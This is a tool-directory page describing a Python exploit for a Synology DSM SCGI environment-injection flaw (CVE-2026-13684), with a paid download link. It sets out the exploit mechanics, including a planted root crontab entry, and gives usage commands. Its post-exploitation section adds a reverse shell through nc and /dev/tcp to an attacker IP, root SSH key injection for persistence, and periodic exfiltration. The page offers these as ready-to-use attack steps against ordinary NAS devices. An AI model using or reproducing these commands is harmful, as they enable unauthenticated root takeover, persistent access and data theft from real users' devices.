Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/maxprog-svg/cve-2026-13684
Privilege EscalationPersistence MechanismsVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationRemote Access ToolPayload Development
GitHubmaxprog-svg/cve-2026-13684

CVE-2026-13684

11 days agoNot yet reviewed
Share

Python exploit for CVE-2026-13684 in Synology DSM synoscgi: SCGI environment-variable injection enabling arbitrary file read/write, root command execution, and DoS.

View Repository

CVE-2026-13684 — Synology DSM: Improper Encoding/Escaping of Output in SCGI

Unauthenticated remote exploit: arbitrary file read, arbitrary file write, and DoS

FieldValue
CVECVE-2026-13684
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-116 — Improper Encoding or Escaping of Output
Componentsynoscgi (the SCGI daemon fronting DSM's privileged CGI workers)
AffectedDSM before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4, 7.4-90075
Fixed2026-09-18 — Synology-SA-26:13
In the wildAttributed (360) as initial access for the C3RB3R / L0CK3D ransomware wave

Root cause

SYNO::WebEntryCGI::HeaderToEnv() in /usr/syno/sbin/synoscgi converts every SCGI request environment pair (NAME\0VALUE\0) into an environment variable of the privileged CGI worker via setenv(name, value, 1) with no filtering of the variable name. Whoever can deliver an LD_-named pair into the SCGI netstring therefore controls the environment of a privileged, dynamically linked worker process.

The vendor fix is a single check: header names starting with LD_ are blocked before setenv and logged as Blocked environment variable from header.

How the exploit works

  1. Environment-variable injection — the exploit delivers the pairs LD_DEBUG=libs, LD_DEBUG_OUTPUT=<path>, LD_LIBRARY_PATH=<payload> through the target's SCGI fronting endpoints. Three delivery vectors are tried in order:
    • V1 raw SCGI netstring over TCP (--raw-port) — carries arbitrary bytes, including newlines; full capability;
    • V2 POST form/query parameters (URL-encoded newlines survive);
    • V3 plain HTTP headers (newline-free payloads only).
  2. Dirty file write (arbitrary file write) — with LD_DEBUG set, the glibc dynamic linker of the worker process creates <LD_DEBUG_OUTPUT>.<pid> (glibc itself appends the PID) and writes its library-search trace there. Because LD_LIBRARY_PATH entries are colon-separated, one entry may carry newlines and spaces intact, so the written file ends up containing attacker-planted lines.
  3. Embedded root job (read + RCE) — the payload plants a syntactically valid crontab entry inside the written file: * * * * * root sh -c '<command>' (a trailing space isolates the command from the linker suffix that would otherwise be glued onto it). On targets whose scheduler executes that artifact — cron(8) on the affected DSM builds, per public analyses of this CVE family — the command runs as root within ~60 seconds. The read action uses it to copy the requested file to the web-served root (/volume1/web/), which the exploit then fetches over HTTP — no outbound connection from the NAS required.
  4. DoS — oversized header values, header-count floods, and (with --raw-port) malformed/oversized SCGI netstrings against the synoscgi endpoints.

Usage

# Full run (recon + write/RCE + read) against a DSM instance
python3 exploit.py --target http://192.168.1.10:5000

# Read an arbitrary file (exfiltrated via web-served marker)
python3 exploit.py --target http://192.168.1.10 --action read --file /etc/synoinfo.conf

# Write an arbitrary file (artifact lands at '<path>.<pid>')
python3 exploit.py --target http://192.168.1.10 --action write --path /etc/cron.d/poc

# DoS waves
python3 exploit.py --target http://192.168.1.10 --action dos --concurrency 64

# Full-capability vector against a directly reachable SCGI socket / SCGI lab
python3 exploit.py --target http://192.168.1.10 --raw-port 9000 --verbose

# Local end-to-end verification of the primitive (no target needed)
python3 exploit.py --selftest

Python 3.8+, standard library only, no dependencies.

Gaining access after exploitation

The embedded root job fires every minute until removed, so embed an idempotent command via --command:

1. Reverse shell (immediate interactive access)

# attacker side: nc -l 4444
python3 exploit.py --target http://192.168.1.10 \
  --command "nc 192.168.1.99 4444 -e /bin/sh"

Within ~60 s (cron) a root reverse shell connects back. If nc is missing on the DSM, use busybox nc or exec 5<>/dev/tcp/192.168.1.99/4444; cat <&5 >&5.

2. Persistent SSH access (recommended)

python3 exploit.py --target http://192.168.1.10 \
  --command "mkdir -p /root/.ssh && printf '%s\n' '<PUBKEY>' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && synoservice --start sshd"

Then simply ssh [email protected]. The key stays on the device — re-entry without re-exploitation. If SSH is disabled on the DSM, synoservice --start sshd (included above) enables it.

3. Persistent cron job — the embedded job itself lives in /etc/cron.d/<marker>.<pid> and fires every minute; instead of a one-shot command you can embed a long-running action (sync, listener, periodic exfiltration).

4. Recon / exfiltration — already covered: --action read --file /etc/synoinfo.conf, /etc/passwd, /var/log/messages (contents arrive on stdout).

https://satoshidisk.com/pay/CSoJTc

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →